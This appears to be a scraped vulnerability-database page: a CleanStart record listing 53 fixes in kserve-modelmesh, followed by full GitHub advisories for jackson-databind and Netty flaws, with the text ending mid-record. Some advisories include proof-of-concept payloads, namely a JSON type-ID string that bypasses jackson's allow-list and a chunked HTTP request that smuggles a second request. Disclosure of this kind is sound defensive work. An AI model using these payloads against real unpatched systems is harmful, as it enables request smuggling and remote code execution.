Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Package kserve-modelmesh version 0.12.0-r17 fixes 53 vulnerabilities: ghsa-f6hv-jmp6-3vwv, ghsa-57rv-r2g8-2cj3, ghsa-xxqh-mfjm-7mv9, ghsa-m4cv-j2px-7723, ghsa-v8h7-rr48-vmmv...
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "kserve-modelmesh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.12.0-r17"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.12.0-r17"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package kserve-modelmesh version 0.12.0-r17 fixes 53 vulnerabilities: ghsa-f6hv-jmp6-3vwv, ghsa-57rv-r2g8-2cj3, ghsa-xxqh-mfjm-7mv9, ghsa-m4cv-j2px-7723, ghsa-v8h7-rr48-vmmv...",
"id": "CLEANSTART-2026-QQ48355",
"modified": "2026-08-14T05:57:08Z",
"published": "2026-08-13T12:10:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kserve/modelmesh"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in kserve-modelmesh 0.12.0-r17",
"upstream": [
"ghsa-f6hv-jmp6-3vwv",
"ghsa-57rv-r2g8-2cj3",
"ghsa-xxqh-mfjm-7mv9",
"ghsa-m4cv-j2px-7723",
"ghsa-v8h7-rr48-vmmv",
"ghsa-38f8-5428-x5cv",
"ghsa-hvcg-qmg6-jm4c",
"CVE-2026-42584",
"CVE-2026-42587",
"CVE-2026-41417",
"CVE-2026-42580",
"CVE-2026-42581",
"ghsa-rmj7-2vxq-3g9f",
"ghsa-j3rv-43j4-c7qm",
"ghsa-5gvw-p9qm-jgwh",
"ghsa-5jmj-h7xm-6q6v",
"ghsa-3pjw-73gf-8qr5",
"ghsa-hgj6-7826-r7m5",
"ghsa-mhm7-754m-9p8w",
"CVE-2026-54512",
"CVE-2026-54513",
"CVE-2026-54514",
"CVE-2026-54515",
"CVE-2026-59888",
"CVE-2026-59889",
"ghsa-3qp7-7mw8-wx86",
"ghsa-x4gw-5cx5-pgmh",
"ghsa-c653-97m9-rcg9",
"ghsa-mj4r-2hfc-f8p6",
"CVE-2026-42583",
"ghsa-c2gf-v879-257j",
"ghsa-563q-j3cm-6jxm",
"ghsa-5x3r-wrvg-rp6q",
"ghsa-574f-3g2m-x479",
"ghsa-c3fc-8qff-9hwx",
"ghsa-45q3-82m4-75jr",
"ghsa-wg6q-6289-32hp",
"ghsa-w573-9ffj-6ff9",
"ghsa-r7wm-3cxj-wff9",
"CVE-2026-50020",
"CVE-2026-42585",
"CVE-2026-50560",
"CVE-2026-47244",
"CVE-2026-48043",
"CVE-2026-50010",
"CVE-2026-44249",
"CVE-2026-45416",
"CVE-2026-42578",
"CVE-2026-45536",
"CVE-2026-43869",
"CVE-2026-5588",
"CVE-2025-14813",
"CVE-2026-0636"
]
}
GHSA-HGJ6-7826-R7M5
Vulnerability from github – Published: 2026-06-23 21:22 – Updated: 2026-07-20 21:21Summary
JDKFromStringDeserializer constructed InetSocketAddress with new InetSocketAddress(host, port), which performs eager DNS name resolution for hostname inputs at deserialization time. An application that binds untrusted JSON into a type containing an InetSocketAddress field issues an attacker-chosen DNS query during readValue, before any application-level validation or connect logic. The fix uses InetSocketAddress.createUnresolved(host, port), deferring DNS to an explicit connect.
Impact
An attacker controlling JSON deserialized into an InetSocketAddress-bearing type can force outbound DNS lookups for attacker-chosen hostnames at deserialization time (SSRF / DNS-based out-of-band interaction / internal-resolver probing), purely from binding.
Affected / Patched (verified via git tag --contains on 1f5a103)
- 2.18 line:
>= 2.18.0, < 2.18.8-> fixed in 2.18.8 - 2.19-2.21 line:
>= 2.19.0, < 2.21.4-> fixed in 2.21.4 - 3.x line:
>= 3.0.0, < 3.1.4-> fixed in 3.1.4
Severity / CWE
Maintainer: minor. Reporter: LOW. CWE-918 (SSRF).
Upstream fix
FasterXML/jackson-databind#5951 ("Improve InetSocketAddress deserialization"). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.
Credits
Omkhar Arasaratnam (@omkhar) - finder.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.18.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54514"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T21:22:54Z",
"nvd_published_at": "2026-06-23T21:17:02Z",
"severity": "MODERATE"
},
"details": "## Summary\n`JDKFromStringDeserializer` constructed `InetSocketAddress` with `new InetSocketAddress(host, port)`, which performs eager DNS name resolution for hostname inputs at deserialization time. An application that binds untrusted JSON into a type containing an `InetSocketAddress` field issues an attacker-chosen DNS query during `readValue`, before any application-level validation or connect logic. The fix uses `InetSocketAddress.createUnresolved(host, port)`, deferring DNS to an explicit connect.\n\n## Impact\nAn attacker controlling JSON deserialized into an `InetSocketAddress`-bearing type can force outbound DNS lookups for attacker-chosen hostnames at deserialization time (SSRF / DNS-based out-of-band interaction / internal-resolver probing), purely from binding.\n\n## Affected / Patched (verified via `git tag --contains` on `1f5a103`)\n- 2.18 line: `\u003e= 2.18.0, \u003c 2.18.8` -\u003e fixed in **2.18.8**\n- 2.19-2.21 line: `\u003e= 2.19.0, \u003c 2.21.4` -\u003e fixed in **2.21.4**\n- 3.x line: `\u003e= 3.0.0, \u003c 3.1.4` -\u003e fixed in **3.1.4**\n\n## Severity / CWE\nMaintainer: minor. Reporter: LOW. CWE-918 (SSRF).\n\n## Upstream fix\nFasterXML/jackson-databind#5951 (\"Improve InetSocketAddress deserialization\"). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.\n\n## Credits\nOmkhar Arasaratnam (@omkhar) - finder.",
"id": "GHSA-hgj6-7826-r7m5",
"modified": "2026-07-20T21:21:18Z",
"published": "2026-06-23T21:22:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-hgj6-7826-r7m5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54514"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/pull/5951"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/1f5a1037b1e9e05920e755cb35f198bcd46667e4"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-databind"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "jackson-databind: InetSocketAddress deserialization triggers eager DNS resolution (SSRF)"
}
GHSA-HVCG-QMG6-JM4C
Vulnerability from github – Published: 2026-06-15 20:46 – Updated: 2026-06-15 20:46Summary
Before reading the first request-line, HttpObjectDecoder skips every byte for which
Character.isISOControl(b) is true (0x00–0x1F and 0x7F) as well as all whitespace.
RFC 9112 §2.2 only asks servers to ignore empty CRLF lines preceding the request-line —
a carefully scoped robustness allowance intended to handle HTTP/1.0 POST workarounds.
Silently absorbing NUL bytes, SOH, STX, and other non-CRLF control characters goes
significantly beyond this, and can be exploited for request-boundary confusion in pipelined
or multiplexed transports where a front-end component treats those bytes differently.
Affected Code
| File | Lines | Role |
|---|---|---|
codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java |
1298–1313 | ISO_CONTROL_OR_WHITESPACE static initialiser — marks all ISO control chars |
codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java |
1307–1313 | SKIP_CONTROL_CHARS_BYTES ByteProcessor — skips the entire set |
codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java |
1275–1289 | LineParser.skipControlChars — advances readerIndex past all matching bytes |
Specification Analysis
RFC 9112 §2.2 — Message Parsing
In the interest of robustness, a server that is expecting to receive and parse a request-line SHOULD ignore at least one empty line (CRLF) received prior to the request-line.
An HTTP/1.1 user agent MUST NOT preface or follow a request with an extra CRLF.
Deviation
The RFC names a single permitted exception: an empty line (bare CRLF, i.e. the two-byte
sequence \r\n). The ISO_CONTROL_OR_WHITESPACE table is initialised as:
for (byte b = Byte.MIN_VALUE; b < Byte.MAX_VALUE; b++) {
ISO_CONTROL_OR_WHITESPACE[128 + b] =
Character.isISOControl(b) || isWhitespace(b);
}
Character.isISOControl returns true for 0x00–0x1F and 0x7F. This includes NUL
(0x00), SOH (0x01), STX (0x02), BEL (0x07), DEL (0x7F), and every other non-CRLF
control character. The SKIP_CONTROL_CHARS state runs this scan unconditionally before the
first READ_INITIAL, meaning any sequence of such bytes prepended to a request is silently
consumed.
A load balancer or TLS terminator that does not perform the same scan sees a different message boundary than Netty does, which is the basis of a request-desync / smuggling attack.
Suggested Unit Test
Add to HttpRequestDecoderTest.java.
@Test
public void testNonCrlfControlBytesPrecedingRequestLineAreRejected() {
// RFC 9112 §2.2: servers SHOULD ignore "at least one empty line (CRLF)" before the
// request-line. Non-CRLF control bytes are not part of this robustness allowance
// and must not be silently swallowed.
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
ByteBuf buf = Unpooled.buffer();
buf.writeByte(0x00); // NUL — not an empty CRLF line
buf.writeByte(0x01); // SOH — not an empty CRLF line
buf.writeCharSequence(
"GET / HTTP/1.1\r\nHost: example.com\r\n\r\n",
CharsetUtil.US_ASCII);
channel.writeInbound(buf);
HttpRequest req = channel.readInbound();
// Current behaviour: NUL and SOH are in ISO_CONTROL_OR_WHITESPACE, so they are
// silently skipped; the request decodes successfully and isFailure() == false.
//
// RFC-correct behaviour: only empty CRLF lines should be ignored; NUL/SOH must
// cause a parse error — isFailure() == true.
assertTrue(
req.decoderResult().isFailure(),
"Non-CRLF control bytes before the request-line must not be silently skipped " +
"(RFC 9112 §2.2 allows only empty CRLF lines)");
assertFalse(channel.finish());
}
Current behaviour (unfixed): skipControlChars advances past 0x00 and 0x01 because
both are in ISO_CONTROL_OR_WHITESPACE; the request parses normally, isFailure() is
false → test fails.
Expected behaviour after fix: only CRLF empty lines are tolerated; non-CRLF control
bytes produce an error, isFailure() is true → test passes.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.14.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.15.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.134.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.135.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50020"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:46:36Z",
"nvd_published_at": "2026-06-12T16:16:31Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nBefore reading the first request-line, `HttpObjectDecoder` skips every byte for which\n`Character.isISOControl(b)` is `true` (0x00\u20130x1F and 0x7F) as well as all whitespace.\nRFC 9112 \u00a72.2 only asks servers to ignore **empty CRLF lines** preceding the request-line \u2014\na carefully scoped robustness allowance intended to handle HTTP/1.0 POST workarounds.\nSilently absorbing NUL bytes, SOH, STX, and other non-CRLF control characters goes\nsignificantly beyond this, and can be exploited for request-boundary confusion in pipelined\nor multiplexed transports where a front-end component treats those bytes differently.\n\n## Affected Code\n\n| File | Lines | Role |\n|------|-------|------|\n| `codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java` | 1298\u20131313 | `ISO_CONTROL_OR_WHITESPACE` static initialiser \u2014 marks all ISO control chars |\n| `codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java` | 1307\u20131313 | `SKIP_CONTROL_CHARS_BYTES` `ByteProcessor` \u2014 skips the entire set |\n| `codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java` | 1275\u20131289 | `LineParser.skipControlChars` \u2014 advances `readerIndex` past all matching bytes |\n\n## Specification Analysis\n\n### RFC 9112 \u00a72.2 \u2014 Message Parsing\n\n\u003e In the interest of robustness, a server that is expecting to receive and parse a\n\u003e request-line **SHOULD ignore at least one empty line (CRLF)** received prior to the\n\u003e request-line.\n\n\u003e An HTTP/1.1 user agent **MUST NOT** preface or follow a request with an extra CRLF.\n\n### Deviation\n\nThe RFC names a single permitted exception: an **empty line** (bare CRLF, i.e. the two-byte\nsequence `\\r\\n`). The `ISO_CONTROL_OR_WHITESPACE` table is initialised as:\n\n```java\nfor (byte b = Byte.MIN_VALUE; b \u003c Byte.MAX_VALUE; b++) {\n ISO_CONTROL_OR_WHITESPACE[128 + b] =\n Character.isISOControl(b) || isWhitespace(b);\n}\n```\n\n`Character.isISOControl` returns `true` for `0x00`\u2013`0x1F` and `0x7F`. This includes NUL\n(`0x00`), SOH (`0x01`), STX (`0x02`), BEL (`0x07`), DEL (`0x7F`), and every other non-CRLF\ncontrol character. The `SKIP_CONTROL_CHARS` state runs this scan unconditionally before the\nfirst `READ_INITIAL`, meaning any sequence of such bytes prepended to a request is silently\nconsumed.\n\nA load balancer or TLS terminator that does not perform the same scan sees a different\nmessage boundary than Netty does, which is the basis of a request-desync / smuggling attack.\n\n## Suggested Unit Test\n\nAdd to `HttpRequestDecoderTest.java`.\n\n```java\n@Test\npublic void testNonCrlfControlBytesPrecedingRequestLineAreRejected() {\n // RFC 9112 \u00a72.2: servers SHOULD ignore \"at least one empty line (CRLF)\" before the\n // request-line. Non-CRLF control bytes are not part of this robustness allowance\n // and must not be silently swallowed.\n EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\n\n ByteBuf buf = Unpooled.buffer();\n buf.writeByte(0x00); // NUL \u2014 not an empty CRLF line\n buf.writeByte(0x01); // SOH \u2014 not an empty CRLF line\n buf.writeCharSequence(\n \"GET / HTTP/1.1\\r\\nHost: example.com\\r\\n\\r\\n\",\n CharsetUtil.US_ASCII);\n\n channel.writeInbound(buf);\n HttpRequest req = channel.readInbound();\n\n // Current behaviour: NUL and SOH are in ISO_CONTROL_OR_WHITESPACE, so they are\n // silently skipped; the request decodes successfully and isFailure() == false.\n //\n // RFC-correct behaviour: only empty CRLF lines should be ignored; NUL/SOH must\n // cause a parse error \u2014 isFailure() == true.\n assertTrue(\n req.decoderResult().isFailure(),\n \"Non-CRLF control bytes before the request-line must not be silently skipped \" +\n \"(RFC 9112 \u00a72.2 allows only empty CRLF lines)\");\n\n assertFalse(channel.finish());\n}\n```\n\n**Current behaviour (unfixed):** `skipControlChars` advances past `0x00` and `0x01` because\nboth are in `ISO_CONTROL_OR_WHITESPACE`; the request parses normally, `isFailure()` is\n`false` \u2192 test **fails**.\n\n**Expected behaviour after fix:** only CRLF empty lines are tolerated; non-CRLF control\nbytes produce an error, `isFailure()` is `true` \u2192 test **passes**.",
"id": "GHSA-hvcg-qmg6-jm4c",
"modified": "2026-06-15T20:46:36Z",
"published": "2026-06-15T20:46:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-hvcg-qmg6-jm4c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50020"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty: HttpObjectDecoder skips arbitrary initial control characters when only initial CRLF characters are permitted"
}
GHSA-J3RV-43J4-C7QM
Vulnerability from github – Published: 2026-06-23 21:21 – Updated: 2026-07-20 21:21jackson-databind's PolymorphicTypeValidator (PTV) is the primary safety mechanism guarding polymorphic deserialization. When polymorphic typing is enabled and a type identifier contains generic parameters (i.e. the type ID string contains <), DatabindContext._resolveAndValidateGeneric() validates only the raw container class name (the substring before <) against the configured PTV.
If the container type is approved, the method parses the full canonical type string via TypeFactory.constructFromCanonical() and returns the fully parameterized type without ever validating the nested type arguments against the PTV. The nested type arguments are then resolved, instantiated, and populated as beans during deserialization.
An attacker who controls the type ID can therefore place a denied class as a generic type parameter of an allowed container — for example java.util.ArrayList<com.evil.Gadget> when only java.util.ArrayList is allow-listed. The container passes the PTV check; com.evil.Gadget is loaded via Class.forName(name, true, loader), instantiated, and its properties are set from attacker-controlled JSON. This completely bypasses an explicitly configured PTV allow-list.
This is the same vulnerability class responsible for the historical sequence of jackson-databind deserialization CVEs; here it manifests as a validator bypass rather than a missing deny-list entry.
Impact
- Bypass of the PTV allow-list, including the recommended
BasicPolymorphicTypeValidatorconfigured with name-prefix allow rules. - Arbitrary class instantiation of any type assignable to the container's element/parameter position, with attacker-controlled property values (setter/field injection).
- Potential unauthenticated remote code execution when a class with exploitable side effects (JNDI lookup, JDBC/connection-pool gadgets,
TemplatesImpl-style loaders, etc.) is present on the classpath.
Applications that accept untrusted JSON and rely on a configured PTV — the documented, security-conscious configuration — are affected.
Proof of Concept
Configuration restricting polymorphic deserialization to a single safe container:
BasicPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
.allowIfSubType("java.util.ArrayList")
.build();
ObjectMapper mapper = JsonMapper.builder()
.polymorphicTypeValidator(ptv)
.build();
Malicious payload (Wrapper.value is Object with @JsonTypeInfo(use = Id.CLASS, include = As.WRAPPER_ARRAY)):
{"value":["java.util.ArrayList<com.evil.EvilGadget>",[{"cmd":"calc.exe"}]]}
On vulnerable versions, com.evil.EvilGadget is instantiated and its cmd property is set, despite only java.util.ArrayList being allow-listed. On 2.18.8 / 2.21.4 / 3.1.4 the deserialization throws InvalidTypeIdException before instantiation.
Variant payloads (all bypass an ArrayList/HashMap allow-list):
| Type ID | Smuggled type position |
|---|---|
java.util.ArrayList<Evil> |
list element |
java.util.HashMap<Evil,String> |
map key |
java.util.HashMap<String,Evil> |
map value |
java.util.ArrayList<java.util.ArrayList<Evil>> |
nested element |
java.util.ArrayList<Evil[]> |
array element |
Patches
Fixed in 2.18.8, 2.21.4 and 3.1.4 via the changes for FasterXML/jackson-databind#5988, commit 434d6c511. The fix adds recursive validation of each non-trivial type parameter (and array element types appearing as parameters) through the full PTV chain, with documented exemptions for Object (wildcard resolution) and Enum types.
PolymorphicTypeValidator was added in 2.10.0 so vulnerability N/A for versions prior to that.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.18.7"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.10.0"
},
{
"fixed": "2.18.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.3"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.21.3"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.3"
},
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54512"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T21:21:38Z",
"nvd_published_at": "2026-06-23T21:17:02Z",
"severity": "HIGH"
},
"details": "`jackson-databind`\u0027s `PolymorphicTypeValidator` (PTV) is the primary safety mechanism guarding polymorphic deserialization. When polymorphic typing is enabled and a type identifier contains generic parameters (i.e. the type ID string contains `\u003c`), `DatabindContext._resolveAndValidateGeneric()` validates **only the raw container class name** (the substring before `\u003c`) against the configured PTV.\n\nIf the container type is approved, the method parses the full canonical type string via `TypeFactory.constructFromCanonical()` and returns the fully parameterized type **without ever validating the nested type arguments** against the PTV. The nested type arguments are then resolved, instantiated, and populated as beans during deserialization.\n\nAn attacker who controls the type ID can therefore place a denied class as a generic type parameter of an allowed container \u2014 for example `java.util.ArrayList\u003ccom.evil.Gadget\u003e` when only `java.util.ArrayList` is allow-listed. The container passes the PTV check; `com.evil.Gadget` is loaded via `Class.forName(name, true, loader)`, instantiated, and its properties are set from attacker-controlled JSON. This completely bypasses an explicitly configured PTV allow-list.\n\nThis is the same vulnerability class responsible for the historical sequence of jackson-databind deserialization CVEs; here it manifests as a validator bypass rather than a missing deny-list entry.\n\n\n## Impact\n\n- **Bypass of the PTV allow-list**, including the recommended `BasicPolymorphicTypeValidator` configured with name-prefix allow rules.\n- **Arbitrary class instantiation** of any type assignable to the container\u0027s element/parameter position, with attacker-controlled property values (setter/field injection).\n- **Potential unauthenticated remote code execution** when a class with exploitable side effects (JNDI lookup, JDBC/connection-pool gadgets,`TemplatesImpl`-style loaders, etc.) is present on the classpath.\n\nApplications that accept untrusted JSON and rely on a configured PTV \u2014 the documented, security-conscious configuration \u2014 are affected.\n\n\n## Proof of Concept\n\nConfiguration restricting polymorphic deserialization to a single safe container:\n\n```java\nBasicPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()\n .allowIfSubType(\"java.util.ArrayList\")\n .build();\n\nObjectMapper mapper = JsonMapper.builder()\n .polymorphicTypeValidator(ptv)\n .build();\n```\n\nMalicious payload (`Wrapper.value` is `Object` with `@JsonTypeInfo(use = Id.CLASS, include = As.WRAPPER_ARRAY)`):\n\n```json\n{\"value\":[\"java.util.ArrayList\u003ccom.evil.EvilGadget\u003e\",[{\"cmd\":\"calc.exe\"}]]}\n```\n\nOn vulnerable versions, `com.evil.EvilGadget` is instantiated and its `cmd` property is set, despite only `java.util.ArrayList` being allow-listed. On `2.18.8` / `2.21.4` / `3.1.4` the deserialization throws `InvalidTypeIdException` before instantiation.\n\n**Variant payloads** (all bypass an `ArrayList`/`HashMap` allow-list):\n\n| Type ID | Smuggled type position |\n|---|---|\n| `java.util.ArrayList\u003cEvil\u003e` | list element |\n| `java.util.HashMap\u003cEvil,String\u003e` | map key |\n| `java.util.HashMap\u003cString,Evil\u003e` | map value |\n| `java.util.ArrayList\u003cjava.util.ArrayList\u003cEvil\u003e\u003e` | nested element |\n| `java.util.ArrayList\u003cEvil[]\u003e` | array element |\n\n---\n\n## Patches\n\nFixed in **2.18.8**, **2.21.4** and **3.1.4** via the changes for [FasterXML/jackson-databind#5988](https://github.com/FasterXML/jackson-databind/issues/5988), commit `434d6c511`. The fix adds recursive validation of each non-trivial type parameter (and array element types appearing as parameters) through the full PTV chain, with documented exemptions for `Object` (wildcard resolution) and `Enum` types.\n\n`PolymorphicTypeValidator` was added in 2.10.0 so vulnerability N/A for versions prior to that.",
"id": "GHSA-j3rv-43j4-c7qm",
"modified": "2026-07-20T21:21:12Z",
"published": "2026-06-23T21:21:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-j3rv-43j4-c7qm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54512"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/issues/5988"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/434d6c511de7fdd9872f29157aafb6162d12d8d5"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-databind"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "jackson-databind has a PolymorphicTypeValidator bypass via generic type parameters that allows arbitrary class instantiation"
}
GHSA-M4CV-J2PX-7723
Vulnerability from github – Published: 2026-05-07 00:13 – Updated: 2026-05-14 20:41Summary
Netty's chunk size parser silently overflows int, enabling request smuggling attacks.
Details
io.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.
The size is accumulated as follows:
result *= 16; result += digit;
The result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.
PoC
The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.
@Test
public void test() {
String requestStr = "POST / HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Transfer-Encoding: chunked\r\n\r\n" +
"100000004\r\n" +
"test\r\n" +
"0\r\n" +
"\r\n" +
"GET /smuggled HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Content-Length: 0\r\n" +
"\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));
// Request 1
HttpRequest request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
HttpContent content = channel.readInbound();
assertTrue(content.decoderResult().isSuccess());
assertEquals("test", content.content().toString(CharsetUtil.US_ASCII));
content.release();
LastHttpContent last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
// Request 2
request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
}
Impact
HTTP Request Smuggling: Attacker injects arbitrary HTTP requests
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42580"
],
"database_specific": {
"cwe_ids": [
"CWE-190",
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:13:05Z",
"nvd_published_at": "2026-05-13T19:17:23Z",
"severity": "MODERATE"
},
"details": "### Summary\nNetty\u0027s chunk size parser silently overflows int, enabling request smuggling attacks.\n\n### Details\nio.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.\n\nThe size is accumulated as follows:\n\nresult *= 16;\nresult += digit;\n\nThe result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.\n\n### PoC\nThe test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.\n\n```java\n@Test\npublic void test() {\n String requestStr = \"POST / HTTP/1.1\\r\\n\" +\n \"Host: localhost\\r\\n\" +\n \"Transfer-Encoding: chunked\\r\\n\\r\\n\" +\n \"100000004\\r\\n\" +\n \"test\\r\\n\" +\n \"0\\r\\n\" +\n \"\\r\\n\" +\n \"GET /smuggled HTTP/1.1\\r\\n\" +\n \"Host: localhost\\r\\n\" +\n \"Content-Length: 0\\r\\n\" +\n \"\\r\\n\";\n\n EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\n assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));\n\n // Request 1\n HttpRequest request = channel.readInbound();\n assertTrue(request.decoderResult().isSuccess());\n HttpContent content = channel.readInbound();\n assertTrue(content.decoderResult().isSuccess());\n assertEquals(\"test\", content.content().toString(CharsetUtil.US_ASCII));\n content.release();\n LastHttpContent last = channel.readInbound();\n assertTrue(last.decoderResult().isSuccess());\n last.release();\n\n // Request 2\n request = channel.readInbound();\n assertTrue(request.decoderResult().isSuccess());\n last = channel.readInbound();\n assertTrue(last.decoderResult().isSuccess());\n last.release();\n}\n```\n\n### Impact\nHTTP Request Smuggling: Attacker injects arbitrary HTTP requests",
"id": "GHSA-m4cv-j2px-7723",
"modified": "2026-05-14T20:41:01Z",
